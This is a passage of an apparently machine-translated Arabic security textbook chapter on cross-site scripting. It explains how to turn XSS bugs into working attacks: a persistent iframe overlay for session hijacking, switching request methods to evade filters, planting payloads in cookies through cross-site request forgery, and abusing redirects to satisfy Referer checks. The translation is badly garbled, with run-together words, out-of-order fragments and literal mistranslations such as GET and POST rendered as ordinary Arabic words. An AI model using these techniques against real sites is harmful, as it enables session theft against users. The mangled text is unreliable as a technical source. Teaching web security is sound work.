ﺛﻐﺮﺓ XSSﻗﺎﺉﻤﺔ ﻋﻠﻰ DOMﻓﻲ ﺍﻟﺼﻔﺤﺔ ﺍﻟﻨﺎﺗﺠﺔ ﺑﺸﻜﻞ ﻓﻌﺎﻝ
473 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﻭﺑﺎﻟﺘﺎﻟﻲ،ﻧﻔﺬّ ﻧﺼﺎً ﺛﺎﻧﻴﺎً ﻳﻘﻊ ﺿﻤﻦ ﺳﻠﺴﻠﺔ ﺍﻟﺸﻈﺎﻳﺎ ،ﻭﻫﻮ ﺧﺎﺭﺝ ﻧﻄﺎﻕ ﺳﻴﻄﺮﺓ ﻣﺮﺷﺤﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ
ﻭﻗﺪﻳﻜﻮﻥ ﻃﻮﻳﻼً ﺑﺸﻜﻞ ﻋﺸﻮﺍﺉﻲ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ:
ﺗﻮﻓﻴﺮﺛﻐﺮﺍﺕ XSSﺍﻟﻌﺎﻣﻠﺔ
ﻋﺎﺩﺓً،ﻋﻨﺪ ﺍﻟﻌﻤﻞ ﻋﻠﻰ ﺛﻐﺮﺓ XSSﻣﺤﺘﻤﻠﺔ ﻟﻔﻬﻢ ﻣﺮﺷﺤﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻭﺗﺠﺎﻭﺯﻫﺎ ،ﻓﺄﻧﺖ ﺗﻌﻤﻞ ﺧﺎﺭﺝ
ﺍﻟﻤﺘﺼﻔﺢ،ﺑﺎﺳﺘﺨﺪﺍﻡ ﺃﺩﺍﺓ ﻣﺜﻞ Burp Repeaterﻹﺭﺳﺎﻝ ﻧﻔﺲ ﺍﻟﻄﻠﺐ ﻣﺮﺍﺭﺍً ﻭﺗﻜﺮﺍﺭﺍً ،ﻣﻊ ﺗﻌﺪﻳﻞ
ﺍﻟﻄﻠﺐﺑﺸﻜﻞ ﻃﻔﻴﻒ ﻓﻲ ﻛﻞ ﻣﺮﺓ ،ﻭﺍﺧﺘﺒﺎﺭ ﺗﺄﺛﻴﺮﻩ ﻋﻠﻰ ﺍﻻﺳﺘﺠﺎﺑﺔ .ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ،ﺑﻌﺪ ﺇﻧﺸﺎء
ﻫﺠﻮﻡﺇﺛﺒﺎﺕ ﺍﻟﻤﻔﻬﻮﻡ ﺑﻬﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ ،ﻗﺪ ﻻ ﻳﺰﺍﻝ ﺃﻣﺎﻣﻚ ﻋﻤﻞ ٌﻟﺸﻦ ﻫﺠﻮﻡ ﻋﻤﻠﻲ ﺿﺪ ﻣﺴﺘﺨﺪﻣﻲ
ﺍﻟﺘﻄﺒﻴﻖﺍﻵﺧﺮﻳﻦ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻗﺪ ﺗﻜﻮﻥ ﻧﻘﻄﺔ ﺩﺧﻮﻝ XSSﺳﻬﻠﺔ ﺍﻟﺘﺤﻜﻢ ﻓﻲ ﻃﻠﺒﺎﺕ
ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﺍﻵﺧﺮﻳﻦ ،ﻣﺜﻞ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺃﻭﺍﻟﻤﺤُﻴﻞﺃﻭ ﻗﺪ ﻳﺴﺘﺨﺪﻡ ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ
ﺍﻟﻤﺴﺘﻬﺪﻓﻮﻥﻣﺘﺼﻔﺤﺎً ﻣﺰﻭﺩﺍً ﺑﺤﻤﺎﻳﺔ ﻣﺪﻣﺠﺔ ﺿﺪ ﻫﺠﻤﺎﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ .ﻳﺘﻨﺎﻭﻝ ﻫﺬﺍ ﺍﻟﻘﺴﻢ
ﺍﻟﺘﺤﺪﻳﺎﺕﺍﻟﻤﺨﺘﻠﻔﺔ ﺍﻟﺘﻲ ﻗﺪ ﺗﻨﺸﺄ ﻋﻨﺪ ﺗﻨﻔﻴﺬ ﺛﻐﺮﺍﺕ XSSﻋﻤﻠﻴﺔ ً،ﻭﻛﻴﻔﻴﺔ ﺗﺠﺎﻭﺯﻫﺎ.
ﺇﺣﺪﻯﺍﻟﻄﺮﻕ ﺍﻟﺒﺴﻴﻄﺔ ﻟﻠﻘﻴﺎﻡ ﺑﺬﻟﻚ ﻫﻲ ﺃﻥ ﻳﻨُﺸﺊ ﺍﻟﻤﺴُﺘﻐﻞ ّﺇﻃﺎﺭﺍً ﺩﺍﺧﻠﻴﺎً ﻳﻐﻄﻲ ﻧﺎﻓﺬﺓ ﺍﻟﻤﺘﺼﻔﺢ
ﺑﺄﻛﻤﻠﻬﺎ،ﺛﻢ ﻳﻌُﻴﺪ ﺗﺤﻤﻴﻞ ﺍﻟﺼﻔﺤﺔ ﺍﻟﺤﺎﻟﻴﺔ ﺩﺍﺧﻠﻪ .ﺃﺛﻨﺎء ﺗﻨﻘﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻋﺒﺮ ﺍﻟﻤﻮﻗﻊ ﻭﺗﺴﺠﻴﻞ
ﺩﺧﻮﻟﻪﺇﻟﻰ ﺍﻟﻤﻨﻄﻘﺔ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ ،ﻳﺴﺘﻤﺮ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﻤﺤُﻘﻦ ﻓﻲ ﺍﻟﻌﻤﻞ ﻓﻲ ﺍﻟﻨﺎﻓﺬﺓ
ﺍﻟﺮﺉﻴﺴﻴﺔ.ﻳﻤﻜﻨﻪ ﺍﻻﺭﺗﺒﺎﻁ ﺑﺠﻤﻴﻊ...
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 474
ﺃﺣﺪﺍﺙﺍﻟﺘﻨﻘﻞ ﻭﺇﺭﺳﺎﻝ ﺍﻟﻨﻤﺎﺫﺝ ﻓﻲ ﺍﻹﻃﺎﺭ ﺍﻟﻔﺮﻋﻲ ،ﻭﻣﺮﺍﻗﺒﺔ ﺟﻤﻴﻊ ﻣﺤﺘﻮﻳﺎﺕ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺍﻟﻈﺎﻫﺮﺓ
ﻓﻴﻪ،ﻭﺑﺎﻟﻄﺒﻊ ،ﺍﺧﺘﻄﺎﻑ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ ﺍﻟﻠﺤﻈﺔ ﺍﻟﻤﻨﺎﺳﺒﺔ .ﻓﻲ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﺘﻲ ﺗﺪﻋﻢ
،HTML5ﻳﻤﻜﻦ ﻟﻠﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺗﺤﺪﻳﺪ ﻋﻨﻮﺍﻥ URLﺍﻟﻤﻨﺎﺳﺐ ﻓﻲ ﺷﺮﻳﻂ ﺍﻟﻤﻮﻗﻊ ﺃﺛﻨﺎء ﺗﻨﻘﻞ
ﺍﻟﻤﺴﺘﺨﺪﻡﺑﻴﻦ ﺍﻟﺼﻔﺤﺎﺕ ،ﺑﺎﺳﺘﺨﺪﺍﻡ
ﺍﻝﻧﺎﻓﺬﺓ.ﺍﻟﺘﺎﺭﻳﺦ()pushState.ﻭﻇﻴﻔﺔ.
ﻟﻤﺜﺎﻝﻭﺍﺣﺪ ﻋﻠﻰ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻻﺳﺘﻐﻼﻝ ،ﺭﺍﺟﻊ ﻋﻨﻮﺍﻥ URLﻫﺬﺍ:
http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html
ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ
ﻻﺩﺍﻋﻲ ﻟﻠﻘﻠﻖ ﺑﺸﺄﻥ ﺃﻱ ﺛﻐﺮﺍﺕ XSSﻓﻲ ﺍﻟﺠﺰء ﻏﻴﺮ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻪ ﻣﻦ ﻣﻮﻗﻌﻨﺎ .ﻻ ﻳﻤُﻜﻦ
ﺍﺳﺘﺨﺪﺍﻣﻬﺎﻻﺧﺘﺮﺍﻕ ﺍﻟﺠﻠﺴﺎﺕ.
ﻫﺬﺍﺍﻻﻋﺘﻘﺎﺩ ﺧﺎﻃﺊ ﻟﺴﺒﺒﻴﻦ .ﺃﻭﻻ ً،ﻋﺎﺩﺓ ًﻣﺎ ﻳﺴُﺘﺨﺪﻡ ﺛﻐﺮﺓ XSSﻓﻲ ﺍﻟﺠﺰء ﻏﻴﺮ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻪ ﻣﻦ
ﺍﻟﺘﻄﺒﻴﻖﻻﺧﺘﺮﺍﻕ ﺟﻠﺴﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﻢ ﻣﺒﺎﺷﺮﺓ ً.ﻟﺬﺍ ،ﻋﺎﺩﺓ ًﻣﺎ ﻳﻜﻮﻥ ﺛﻐﺮﺓ XSS
ﺍﻟﻤﻨُﻌﻜﺴﺔﻏﻴﺮ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ ﺃﺧﻄﺮ ﻣﻦ ﺛﻐﺮﺓ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ ،ﻧﻈﺮﺍً ﻟﻨﻄﺎﻕ ﺍﻟﻀﺤﺎﻳﺎ ﺍﻟﻤﺤُﺘﻤﻠﻴﻦ
ﺍﻷﻭﺳﻊ.ﺛﺎﻧﻴﺎً ،ﺣﺘﻰ ﻟﻮ ﻟﻢ ﻳﺼُﺎﺩﻕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﻌﺪ ،ﻳﻤُﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﻧﺸﺮ ﺑﻌﺾ ﻭﻇﺎﺉﻒ ﺃﺣﺼﻨﺔ
ﻃﺮﻭﺍﺩﺓﺍﻟﺘﻲ ﺗﺒﻘﻰ ﻓﻲ ﻣﺘﺼﻔﺢ ﺍﻟﻀﺤﻴﺔ ﻋﺒﺮ ﻃﻠﺒﺎﺕ ﻣﺘﻌﺪﺩﺓ ،ﻣﻨُﺘﻈﺮﺍً ﺣﺘﻰ ﻳﺴُﺠﻞ ﺩﺧﻮﻟﻪ ،ﺛﻢ ﻳﺨُﺘﺮﻕ
ﺍﻟﺠﻠﺴﺔﺍﻟﻨﺎﺗﺠﺔ .ﺑﻞ ﻳﻤُﻜﻦ ﺃﻳﻀﺎً ﺍﻟﺤﺼﻮﻝ ﻋﻠﻰ ﻛﻠﻤﺔ ﻣﺮﻭﺭ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﺴُﺠﻞ ﻟﻮﺣﺔ
ﻣﻔﺎﺗﻴﺢﻣﻜﺘﻮﺏ ﺑﻠﻐﺔ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ،ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﻓﻲ ﺍﻟﻔﺼﻞ .13
ﺗﻌﺪﻳﻞﻃﺮﻳﻘﺔ ﺍﻟﻄﻠﺐ
ﺍﻓﺘﺮﺽﺃﻥ ﺛﻐﺮﺓ XSSﺍﻟﺘﻲ ﺣﺪﺩﺗﻬﺎ ﺗﺴﺘﺨﺪﻡﺑﺮﻳﺪﺍﻟﻄﻠﺐ ،ﻭﻟﻜﻦ ﺍﻟﻄﺮﻳﻘﺔ ﺍﻷﻛﺜﺮ ﻣﻼءﻣﺔ ﻟﺘﻘﺪﻳﻢ ﻫﺠﻮﻡ
ﺗﺘﻄﻠﺐﻳﺤﺼﻞﺍﻟﻄﺮﻳﻘﺔ — ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻋﻦ ﻃﺮﻳﻖ ﺇﺭﺳﺎﻝ ﻣﺸﺎﺭﻛﺔ ﻓﻲ ﺍﻟﻤﻨﺘﺪﻯ ﺗﺤﺘﻮﻱ ﻋﻠﻰ
ﺍﻱﺍﻡ ﺟﻲﺍﻟﻌﻼﻣﺔ ﺍﻟﺘﻲ ﺗﺴﺘﻬﺪﻑ ﻋﻨﻮﺍﻥ URLﺍﻟﻤﻌﺮﺽ ﻟﻠﺨﻄﺮ.
ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻻﺕ ،ﻣﻦ ﺍﻟﻤﻔﻴﺪ ﺩﺍﺉﻤﺎً ﺍﻟﺘﺤﻘﻖ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺘﻌﺎﻣﻞ ﻣﻊ ﺍﻟﻄﻠﺐ ﺑﻨﻔﺲ
ﺍﻟﻄﺮﻳﻘﺔﺇﺫﺍ ﺗﻢ ﺗﺤﻮﻳﻠﻪ ﺇﻟﻰﻳﺤﺼﻞﺍﻟﻄﻠﺐ .ﺗﺘﻘﺒﻞ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﻄﻠﺒﺎﺕ ﺑﺄﻱ ﺷﻜﻞ ﻣﻦ
ﺍﻷﺷﻜﺎﻝ.
ﻓﻲ ،Burp Suiteﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺃﻣﺮ "ﺗﻐﻴﻴﺮ ﻃﺮﻳﻘﺔ ﺍﻟﻄﻠﺐ" ﻓﻲ ﻗﺎﺉﻤﺔ ﺍﻟﺴﻴﺎﻕ ﻟﻠﺘﺒﺪﻳﻞ ﺑﻴﻦ
ﺃﻱﻃﻠﺐﻳﺤﺼﻞﻭﺑﺮﻳﺪﻃﺮُﻕ.
ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ
ﻫﺬﺍﺍﻟﺨﻠﻞ ﻓﻲ XSSﻏﻴﺮ ﻗﺎﺑﻞ ﻟﻼﺳﺘﻐﻼﻝ .ﻻ ﺃﺳﺘﻄﻴﻊ ﺗﺸﻐﻴﻞ ﻫﺠﻮﻣﻲ ﻛـﻳﺤﺼﻞ ﻃﻠﺐ".
ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ،ﻗﺪ ﻳﻜﻮﻥ ﺍﻷﺳﻠﻮﺏ ﺍﻟﻤﻌﺎﻛﺲ ﻣﻔﻴﺪﺍً .ﺗﺤﻮﻳﻞ ﻫﺠﻮﻡ ﻳﺴﺘﺨﺪﻡﻳﺤﺼﻞﻃﺮﻳﻘﺔ
ﺇﻟﻰﻃﺮﻳﻘﺔ ﺗﺴﺘﺨﺪﻡﺑﺮﻳﺪﻗﺪ ﺗﻤُﻜﻨّﻚ ﻫﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ ﻣﻦ ﺗﺠﺎﻭﺯ ﺑﻌﺾ ﺍﻟﻤﺮﺷﺤﺎﺕ .ﺗﺠُﺮﻱ ﺍﻟﻌﺪﻳﺪ ﻣﻦ
ﺍﻟﺘﻄﺒﻴﻘﺎﺕﺗﺼﻔﻴﺔ ﻋﺎﻣﺔ ﻋﻠﻰ ﻣﺴﺘﻮﻯ ﺍﻟﺘﻄﺒﻴﻖ ﻟﻄﻠﺒﺎﺕ ﺳﻼﺳﻞ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﻤﻌﺮﻭﻓﺔ .ﺇﺫﺍ ﻛﺎﻥ
ﺍﻟﺘﻄﺒﻴﻖﻳﺘﻮﻗﻊ ﺍﺳﺘﻼﻡ ﻃﻠﺒﺎﺕ ﺑﺎﺳﺘﺨﺪﺍﻡﻳﺤﺼﻞﺑﺎﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ ،ﻗﺪ ﻳﺘﻢ ﺇﺟﺮﺍء ﻫﺬﺍ ﺍﻟﺘﺼﻔﻴﺔ
ﻋﻠﻰﺳﻠﺴﻠﺔ ﺍﺳﺘﻌﻼﻡ ﻋﻨﻮﺍﻥ URLﻓﻘﻂ .ﺑﺘﺤﻮﻳﻞ ﻃﻠﺐ ﻻﺳﺘﺨﺪﺍﻡﺑﺮﻳﺪﺑﺎﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ ،ﻗﺪ
ﺗﺘﻤﻜﻦﻣﻦ ﺗﺠﺎﻭﺯ ﻫﺬﺍ ﺍﻟﻔﻠﺘﺮ.
ﺗﺤﺘﻮﻱﺑﻌﺾ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻋﻠﻰ ﺛﻐﺮﺍﺕ XSSﻣﻨﻌﻜﺴﺔ ،ﺣﻴﺚ ﺗﻜﻮﻥ ﻧﻘﻄﺔ ﺩﺧﻮﻝ ﺍﻟﻬﺠﻮﻡ ﺩﺍﺧﻞ ﻣﻠﻒ
ﺗﻌﺮﻳﻒﺍﺭﺗﺒﺎﻁ ﺍﻟﻄﻠﺐ .ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺗﻘﻨﻴﺎﺕ ﻣﺨﺘﻠﻔﺔ ﻻﺳﺘﻐﻼﻝ ﻫﺬﻩ
ﺍﻟﺜﻐﺮﺓ:
ﻛﻤﺎﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﺗﻌﺪﻳﻞ ﻃﺮﻳﻘﺔ ﺍﻟﻄﻠﺐ ،ﻗﺪ ﻳﺴﻤﺢ ﻟﻚ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﻌﻠﻤﺔ URLﺃﻭ -
ﺇﺫﺍﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺃﻱ ﻭﻇﻴﻔﺔ ﺗﺴﻤﺢ ﺑﺘﻌﻴﻴﻦ ﻗﻴﻤﺔ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﻣﺒﺎﺷﺮﺓ ً -
)ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺻﻔﺤﺔ ﺗﻔﻀﻴﻼﺕ ﺗﻌُﻴﻦّ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺑﻨﺎء ًﻋﻠﻰ ﻗﻴﻢ
ﺍﻟﻤﻌﻠﻤﺎﺕﺍﻟﻤﺮُﺳﻠﺔ( ،ﻓﻘﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺗﺼﻤﻴﻢ ﻫﺠﻮﻡ ﺗﺰﻭﻳﺮ ﻃﻠﺒﺎﺕ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ ﻳﻌُﻴﻦّ ﻣﻠﻒ
ﺗﻌﺮﻳﻒﺍﻻﺭﺗﺒﺎﻁ ﺍﻟﻤﻄﻠﻮﺏ ﻓﻲ ﻣﺘﺼﻔﺢ ﺍﻟﻀﺤﻴﺔ .ﻳﺘﻄﻠﺐ ﺍﺳﺘﻐﻼﻝ ﺍﻟﺜﻐﺮﺓ ﺍﻷﻣﻨﻴﺔ ﺣﺚ ّ
ﺍﻟﻀﺤﻴﺔﻋﻠﻰ ﺗﻘﺪﻳﻢ ﻃﻠﺒﻴﻦ :ﺗﻌﻴﻴﻦ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺍﻟﻤﻄﻠﻮﺏ ﺍﻟﺬﻱ ﻳﺤﺘﻮﻱ ﻋﻠﻰ
ﺣﻤﻮﻟﺔ ،XSSﻭﻃﻠﺐ ﺍﻟﻮﻇﻴﻔﺔ ﺍﻟﺘﻲ ﺗﻌُﺎﻟﺞَ ﻓﻴﻬﺎ ﻗﻴﻤﺔ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺑﻄﺮﻳﻘﺔ ﻏﻴﺮ ﺁﻣﻨﺔ.
ﺗﺎﺭﻳﺨﻴﺎً،ﻭﺟُﺪﺕ ﺛﻐﺮﺍﺕ ﺃﻣﻨﻴﺔ ﻣﺘﻨﻮﻋﺔ ﻓﻲ ﺗﻘﻨﻴﺎﺕ ﺇﺿﺎﻓﺎﺕ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ،ﻣﺜﻞ ﻓﻼﺵ، -
ﺇﺫﺍﻟﻢ ﺗﻨﺠﺢ ﺃﻱ ﻣﻦ ﺍﻟﻄﺮﻕ ﺍﻟﺴﺎﺑﻘﺔ ،ﻓﻴﻤﻜﻨﻚ ﺍﻻﺳﺘﻔﺎﺩﺓ ﻣﻦ ﺃﻱ ﺧﻄﺄ XSSﺁﺧﺮ ﻳﻨﻌﻜﺲ ﻋﻠﻰ -
ﻧﻔﺲﺍﻟﻤﺠﺎﻝ )ﺃﻭ ﻣﺠﺎﻝ ﺫﻱ ﺻﻠﺔ( ﻟﺘﻌﻴﻴﻦ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﺭﺗﺒﺎﻁ ﺩﺍﺉﻢ ﺑﺎﻟﻘﻴﻤﺔ ﺍﻟﻤﻄﻠﻮﺑﺔ،
ﻭﺑﺎﻟﺘﺎﻟﻲﺗﻘﺪﻳﻢ ﺍﺧﺘﺮﺍﻕ ﺩﺍﺉﻢ ﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻀﺤﻴﺔ.
ﻓﻲﺑﻌﺾ ﺍﻟﻤﻮﺍﻗﻒ ،ﻳﺘﻢ ﺗﺸﻐﻴﻞ ﺛﻐﺮﺓ XSSﻓﻘﻂ ﺇﺫﺍﺍﻟﻤﺤُﻴﻞﻳﺤﺘﻮﻱ ﺭﺃﺱ ﺍﻟﺼﻔﺤﺔ ﻋﻠﻰ ﻋﻨﻮﺍﻥ
URLﻋﻠﻰ ﻧﻔﺲ ﻧﻄﺎﻕ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﻌُﺮﺽَّ ﻟﻠﺜﻐﺮﺓ .ﻫﻨﺎ ،ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺍﻻﺳﺘﻔﺎﺩﺓ ﻣﻦ ﺃﻱ ﻭﻇﺎﺉﻒ
ﺇﻋﺎﺩﺓﺗﻮﺟﻴﻪ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻟﺘﻨﻔﻴﺬ ﻫﺠﻮﻣﻚ .ﻟﻠﻘﻴﺎﻡ ﺑﺬﻟﻚ ،ﻋﻠﻴﻚ ﺇﻧﺸﺎء ﻋﻨﻮﺍﻥ URLﻟﻮﻇﻴﻔﺔ ﺇﻋﺎﺩﺓ
ﺍﻟﺘﻮﺟﻴﻪﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺛﻐﺮﺓ XSSﺻﺤﻴﺤﺔ ﻭﻳﺆﺩﻱ ﺇﻟﻰ ﺇﻋﺎﺩﺓ ﺗﻮﺟﻴﻪ ﺇﻟﻰ ﻋﻨﻮﺍﻥ URLﺍﻟﻤﻌُﺮﺽَّ ﻟﻠﺜﻐﺮﺓ.
ﻳﻌﺘﻤﺪﻧﺠﺎﺡ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﻋﻠﻰ ﻃﺮﻳﻘﺔ ﺇﻋﺎﺩﺓ ﺍﻟﺘﻮﺟﻴﻪ ﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻣﻬﺎ ﺍﻟﻮﻇﻴﻔﺔ ﻭﻋﻠﻰ ﻣﺎ ﺇﺫﺍ ﻛﺎﻧﺖ
ﺍﻟﻤﺘﺼﻔﺤﺎﺕﺍﻟﺤﺎﻟﻴﺔ ﺗﺤُﺪﺙِّﺍﻟﻤﺤُﻴﻞﺍﻟﺮﺃﺱ ﻋﻨﺪ ﺍﺗﺒﺎﻉ ﻋﻤﻠﻴﺎﺕ ﺇﻋﺎﺩﺓ ﺍﻟﺘﻮﺟﻴﻪ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ.
ﻏﺎﻟﺒﺎًﻣﺎ ﺗﻈُﻬﺮ ﻭﻇﺎﺉﻒ ﺍﻟﺨﺎﺩﻡ ﺍﻟﻤﺴُﺘﺨﺪﻣﺔ ﻓﻲ ﻫﺬﻩ ﺍﻟﻄﻠﺒﺎﺕ ﻭﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﺳﻠﻮﻛﺎً ﻣﺸﺎﺑﻬ ًﺎ
ﻟﻬﺠﻤﺎﺕ .XSSﺗﺮُﺟﻊ ﺣﻤﻮﻻﺕ ﺍﻟﻄﻠﺒﺎﺕ ،ﺍﻟﺘﻲ ﻋﺎﺩﺓ ًﻣﺎ ﺗﺸُﻴﺮ ﺇﻟﻰ ﻭﺟﻮﺩ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ،ﺩﻭﻥ ﺗﻌﺪﻳﻞ ﻣﻦ
ﻗﺒِﻞﺍﻟﺘﻄﺒﻴﻖ.
ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻻ ﻳﺰﺍﻝ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﺳﺘﻐﻼﻝ ﻫﺬﺍ ﺍﻟﺴﻠﻮﻙ ﻟﺸﻦ ﻫﺠﻮﻡ .XSSﻟﻠﻘﻴﺎﻡ ﺑﺬﻟﻚ،
ﻋﻠﻴﻚﻣﻮﺍﺟﻬﺔ ﺗﺤﺪﻳﻴﻦ ﻣﺨﺘﻠﻔﻴﻦ:
ﻳﺠﺐﻋﻠﻴﻚ ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﻭﺳﻴﻠﺔ ﺗﺠﻌﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻀﺤﻴﺔ ﻳﻘﻮﻡ ﺑﺈﺟﺮﺍء ﺍﻟﻄﻠﺐ ﺍﻟﻼﺯﻡ ﻋﺒﺮ -
ﺍﻟﻨﻄﺎﻕ.
ﻳﺠﺐﻋﻠﻴﻚ ﺇﻳﺠﺎﺩ ﻃﺮﻳﻘﺔ ﻟﻠﺘﻼﻋﺐ ﺑﺎﻻﺳﺘﺠﺎﺑﺔ ﺑﺤﻴﺚ ﻳﺘﻢ ﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺨﺎﺹ -
ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺳﻬﻮﻟﺔ ﻫﺬﻩ ﺍﻟﺘﺤﺪﻳﺎﺕ ،ﺇﻻ ﺃﻧﻪ ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ﻳﻤﻜﻦ ﺍﻟﺘﻐﻠﺐ ﻋﻠﻴﻬﺎ ،ﻣﻤﺎ
ﻳﺴﻤﺢﺑﺎﺳﺘﻐﻼﻝ ﺳﻠﻮﻛﻴﺎﺕ XSSﺍﻟﺸﺒﻴﻬﺔ ﺑﻬﺠﻤﺎﺕ XSSﻟﺸﻦ ﻫﺠﻮﻡ ﻓﻌﺎﻝ .ﺳﻨﺪﺭﺱ ﻛﻴﻔﻴﺔ ﺍﻟﻘﻴﺎﻡ
ﺑﺬﻟﻚﺑﺎﺳﺘﺨﺪﺍﻡ ﺻﻴﻐﺔ ﺑﻴﺎﻧﺎﺕ XMLﻛﻤﺜﺎﻝ.
477 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﺍﺳﺘﺨﺪﻡﻋﻼﻣﺔ ﺍﻟﻤﺴﺎﻭﺍﺓ ﻟﻔﺼﻞ ﺍﺳﻢ ﻭﻗﻴﻤﺔ ﻛﻞ ﻣﻌﻠﻤﺔ )ﻛﻤﺎ ﻫﻮ ﺍﻟﺤﺎﻝ ﻋﺎﺩﺓ(. -
